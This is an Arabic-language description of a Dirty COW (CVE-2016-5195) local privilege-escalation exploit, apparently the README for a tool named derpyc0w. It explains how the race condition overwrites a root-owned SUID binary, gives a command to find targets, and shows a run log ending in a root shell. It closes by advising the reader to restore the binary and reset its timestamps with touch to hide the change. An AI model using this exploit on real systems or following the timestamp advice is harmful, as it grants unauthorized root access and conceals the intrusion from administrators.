
مثال لاستغلال CVE-2016-5195
لست مسؤولًا عن أي شيء تفعله بهذا الكود. هذا الكود يأتي بدون أي ضمان.
استغلال لـ CVE-2016-5195 يقوم بتعيين ملف تنفيذي SUID للقراءة فقط إلى الذاكرة (للقراءة فقط) ويستخدم حالة السباق (race condition) لاستبداله بملف ELF من اختيارنا. تتوفر الحمولات بتنسيق NASM إلى جانب كود الاستغلال (cowshell-x86.asm && cowshell-x86_64.asm) إذا كنت ترغب في معرفة ما بداخل cashm0ney.
تعمل الحمولة على رفع الصلاحيات باستخدام setuid(0)، وتضع 0 في vm.dirty_writeback_centisecs لمنع الانهيار بسبب كتابة النظام (filesystem writeback)، ثم تفتح شل(/bin/sh). لا يحاول هذا الإصدار الكتابة إلى /proc/self/mem، لذا يجب أن يكون قابلًا للتطبيق على أنظمة CentOS/RHEL. لا يزال يعتمد على ptrace، لذا قد يفشل إذا كان ptrace مقيدًا على النظام المستهدف.
ابحث عن ملف تنفيذي SUID مملوك لـ root بحيث يكون لدى مستخدمك الحالي إذن قراءة على الأقل:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
يجب عليك استعادة الملف الثنائي الذي تم استبداله إلى مساره الأصلي من النسخة الاحتياطية التي تم إنشاؤها، وتذكر إعادة chown && chmod إليه لضبط الملكية والأذونات الصحيحة. وأعد تواريخ التعديل إلى ما كانت عليه باستخدام touch لإكمال الثلاثية.